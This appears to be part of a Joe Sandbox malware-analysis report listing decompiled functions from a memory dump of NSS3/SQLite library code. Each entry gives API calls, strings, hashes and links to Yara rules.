Instruction ID: 5af47b9488c326e009b9ec70981153c904fce35831893aba0eb7e7923da86eca
Opcode Fuzzy Hash: 7a199947758b6ee802323609e6d687380a98c7340936ea921d420658c2e97c7b
Instruction Fuzzy Hash: 5791BEB0B042068FDB14CF64CA85A6BB7F2BF85318F144A3DE41697A51EB30F945CB91

Function 6C888D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8D14E4,6C83CC70), ref: 6C888D47
PR_GetCurrentThread.NSS3 ref: 6C888D98

Part of subcall function 6C760F00: PR_GetPageSize.NSS3(6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F1B
Part of subcall function 6C760F00: PR_NewLogModule.NSS3(clock,6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C888E7B
htons.WSOCK32(?), ref: 6C888EDB
PR_GetCurrentThread.NSS3 ref: 6C888F99
PR_GetCurrentThread.NSS3 ref: 6C88910A

Strings

%u.%u.%u.%u, xrefs: 6C888E74

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 6cc04f0580245b3429808e9a7f95a93604149751f64e58e6fb5c2334f706d40b
Instruction ID: 13eda4025349f22d19ab122632f360c34bbd1fb9b9e543dd0bcd0b3490586bf2
Opcode Fuzzy Hash: 6cc04f0580245b3429808e9a7f95a93604149751f64e58e6fb5c2334f706d40b
Instruction Fuzzy Hash: BB02CA3590B2558FDB34CF19C6A836ABBA3EF42308F198A9AC8914FF91C335D905C790

Function 6C82A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C84C3A2,?,?,00000000,00000000), ref: 6C82A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C82A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C82A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C82A738

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C82A6CA
%s at line %d of [%.10s], xrefs: 6C82A6D9
database corruption, xrefs: 6C82A6D4

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: f99dde1eb9ca7336060323ff729232a8bef724c9e841aac889b6cf0b8b5967df
Instruction ID: 1369a8802d6856b157e90b149c8a9df970ebef347b1d509f4c97c8cf35ee7720
Opcode Fuzzy Hash: f99dde1eb9ca7336060323ff729232a8bef724c9e841aac889b6cf0b8b5967df
Instruction Fuzzy Hash: EB91D2706087018BC724CF68C684AABB7E1BF48314F554E6DE8968BB91E738EC85C7C1

Function 6C804540 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C804571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C8045B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C8045C2

Part of subcall function 6C8004C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C80461B,-00000004), ref: 6C8004DF
Part of subcall function 6C8004C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C80461B,-00000004), ref: 6C800534

PR_Now.NSS3 ref: 6C804626

Part of subcall function 6C839DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DC6
Part of subcall function 6C839DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DD1
Part of subcall function 6C839DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C839DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C804634
memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6C8046C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6C8046E3
PR_SetError.NSS3(?,00000000), ref: 6C804722

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorTime$SystemUnothrow_t@std@@@__ehfuncinfo$??2@$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 1183590942-0
Opcode ID: d1c8647a2b396f2420ae573e9b6d05e848a7eac79180a99c76b0d756512ecbcf
Instruction ID: 54de732ebb0f07ca57c3b2d321cbe2468480abf3d554e158de2891dcf763260f
Opcode Fuzzy Hash: d1c8647a2b396f2420ae573e9b6d05e848a7eac79180a99c76b0d756512ecbcf
Instruction Fuzzy Hash: 7A61AEB1A006049FEB30CF68D984B9AB7F5FF99308F554928E8459BA51E734F908CB80

Function 6C784420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C784444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C784466

Part of subcall function 6C7D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D1228
Part of subcall function 6C7D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7D1238
Part of subcall function 6C7D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D124B
Part of subcall function 6C7D1200: PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0,00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D125D
Part of subcall function 6C7D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7D126F
Part of subcall function 6C7D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7D1280
Part of subcall function 6C7D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7D128E
Part of subcall function 6C7D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7D129A
Part of subcall function 6C7D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7D12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C78447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C78448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C784494

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: 29a450cdec4e70cd1db89e44e1831ded9debb43bfe88a6228445bfb2f2516c91
Instruction ID: 4e816a0ce0142ddca44e7d2bd64030402f68d7955d1b5bd52f62be1eac6c5395
Opcode Fuzzy Hash: 29a450cdec4e70cd1db89e44e1831ded9debb43bfe88a6228445bfb2f2516c91
Instruction Fuzzy Hash: FD11C3B2D017059BD7208F659D844A7B7F8FF59218B044B3EE99E52A00F371B5988791

Function 6C88CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C88D086
PR_Malloc.NSS3(00000001), ref: 6C88D0B9
PR_Free.NSS3(?), ref: 6C88D138

Strings

>, xrefs: 6C88CF5B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 896a363789ded3f1197fe71c9c1d172e37bdf826f34d88746e70514c46a1bf0d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 50D17F26B4354B4BFB34587C8EA13D9B7938B42374F584B2BD5218BFEAE6198843C351

Function 6C82AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d80669e2d6c93919d21cbe2510f36273f1288ba8d4599a6bde9fa3de6f6bda7
Instruction ID: fb9b44df4fd5ee51168c64683cace25be7ecd3059c00ac6223fe351011d8938a
Opcode Fuzzy Hash: 4d80669e2d6c93919d21cbe2510f36273f1288ba8d4599a6bde9fa3de6f6bda7
Instruction Fuzzy Hash: 9AF1C071E021558BEB34CF28DA557AA77F0BB8A308F15463DC906D7740E778AA95CBC0

Function 6C7E0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C7E1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C7E1086

Strings

h(~l, xrefs: 6C7E0E55, 6C7E0EC4, 6C7E0F3A, 6C7E0FA7
h(~l, xrefs: 6C7E1062, 6C7E105D, 6C7E0F37, 6C7E1081, 6C7E1082

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(~l$h(~l
API String ID: 1297977491-3782546141
Opcode ID: 8810c631849fd125c2f3e8650083e65db5083992d23e313ea42d9acc8c83f728
Instruction ID: 39f3364e6b4d4d6130b8c76b1be44e8ce54757e8364e44ef870a9cec64ae9336
Opcode Fuzzy Hash: 8810c631849fd125c2f3e8650083e65db5083992d23e313ea42d9acc8c83f728
Instruction Fuzzy Hash: F5A13D72B0125A9FDB08CF99C994AEEB7B6BF8C314B148139E915A7701DB35EC11CB90

Function 6C8025B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6C7E5A85), ref: 6C802675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6C802659

Part of subcall function 6C7B3850: TlsGetValue.KERNEL32 ref: 6C7B389F
Part of subcall function 6C7B3850: EnterCriticalSection.KERNEL32(?), ref: 6C7B38B3
Part of subcall function 6C7B3850: PR_Unlock.NSS3(?), ref: 6C7B38F1
Part of subcall function 6C7B3850: TlsGetValue.KERNEL32 ref: 6C7B390F
Part of subcall function 6C7B3850: EnterCriticalSection.KERNEL32(?), ref: 6C7B3923
Part of subcall function 6C7B3850: PR_Unlock.NSS3(?), ref: 6C7B3972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C802697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6C7E5A85,?,6C7E5A85), ref: 6C802717

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: 92cd856fc8169277a55d9adc343e222a79a67d40c4302a19e731af4b8a10f49d
Instruction ID: 8b34c9ce7351b3521549630939451d2a9021236ddc17893cc11bf51044fe20c4
Opcode Fuzzy Hash: 92cd856fc8169277a55d9adc343e222a79a67d40c4302a19e731af4b8a10f49d
Instruction Fuzzy Hash: 03412871B093846AFB318E18CD89FDB73ACEFC0718F104919E96406641EBB5998487D3

Function 6C758540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6C758705

Strings

automatic index on %s(%s), xrefs: 6C7586FB
BINARY, xrefs: 6C758B02, 6C758DA2, 6C758E27, 6C758E60

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: 1836f8aa41d069601b141f7765bb4adf9c2a8b1b87cf9288d82cb5b7e2516b7b
Instruction ID: 792e2fe92db09d3139bf409087da0daf1af7ee5c6d00c1f9f79ac7b6a8cd89bd
Opcode Fuzzy Hash: 1836f8aa41d069601b141f7765bb4adf9c2a8b1b87cf9288d82cb5b7e2516b7b
Instruction Fuzzy Hash: D762A074A183419FD705CF28C580B1AB7F1FF89348F548A6EE8899B752DB31E856CB81

Function 6C7464D0 Relevance: 5.7, Strings: 4, Instructions: 724COMMON

Download Yara Rule

Strings

WBql, xrefs: 6C74679E
WBql, xrefs: 6C74655C
not authorized, xrefs: 6C746D47, 6C746D4C
authorizer malfunction, xrefs: 6C746E3E

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID: WBql$WBql$authorizer malfunction$not authorized
API String ID: 0-3509725271
Opcode ID: 9fa8a60459f993fdc02eb34d01bdac57d0c172e1b12c1677ee0d1be820277aee
Instruction ID: 940bd28822a395a4d4e9a24433cbdb92e25d3075a8dfe0f77b09bbb50f705168
Opcode Fuzzy Hash: 9fa8a60459f993fdc02eb34d01bdac57d0c172e1b12c1677ee0d1be820277aee
Instruction Fuzzy Hash: 73626E70A04204CFDB14CF29C584AA9BBF2FF89308F25C1ADD9159B766D736E956CB80

Function 6C706F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C707067
sz=[0-9]*, xrefs: 6C707049
*?[, xrefs: 6C707034, 6C707052, 6C707070
unordered*, xrefs: 6C70702B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: bf146ed8872dc92a3ac4071ffb9920fcd4b9e184cdf519d57f1b341e6e87e5e8
Instruction ID: 0805549e97300d8daf0e0a06d05caf3e1aa3fa30fc0a9731ab087312363ee06f
Opcode Fuzzy Hash: bf146ed8872dc92a3ac4071ffb9920fcd4b9e184cdf519d57f1b341e6e87e5e8
Instruction Fuzzy Hash: 8B718BF2F002154BEB248A6CCA9039E73E29F81354F294339CD69ABBD3D6719D4687D1

Function 6C79EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C79F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C79F0F9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 695312eba94fb1bc17efd15af4b0791ba30f17ada78c92e8d72c98454beba451
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: DC91B071E0061A8BCB14CF68D9906AEB7F1FF85324F24462DE926A7BC1D730A905CB90

Function 6C7C2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C7E7929), ref: 6C7C2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C7E7929), ref: 6C7C2FE0

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: c2d8f9844c5c9ded069efae989610508132f48daa2c21d78b5b2c8924c3f03e7
Instruction ID: 5d77cb985be534154fde0da4b42f05ee295af70386b9191af1de190d9e5d91c2
Opcode Fuzzy Hash: c2d8f9844c5c9ded069efae989610508132f48daa2c21d78b5b2c8924c3f03e7
Instruction Fuzzy Hash: 9E51D272B049178FD7108E59CA84BEA73B2FB45318F254179DD099BB02D735E986CB83

Function 6C766410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6C766401,?,?,0000001C), ref: 6C766422
WSAGetLastError.WSOCK32(?,?,?,?,6C766401,?,?,0000001C), ref: 6C766432

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 1af705b4eb69e64f8167f39ecd412ced57113f41f58453d2e09d70271def7f08
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 91E01D391511056FDB019F7DDD0485A37959F08368790CD30F939C7E71FA35D5558780

Function 6C70AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C70AE9F
winUnlock, xrefs: 6C70AE18

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 8286ba93b060f0797e5aaa9709bebeb102b51a47fe6cff5740a2a40823797c96
Instruction ID: b6f307c2658bb00a5ad1fa335be71a3a84e4bc92077dec3ec05f55cf95ce56e3
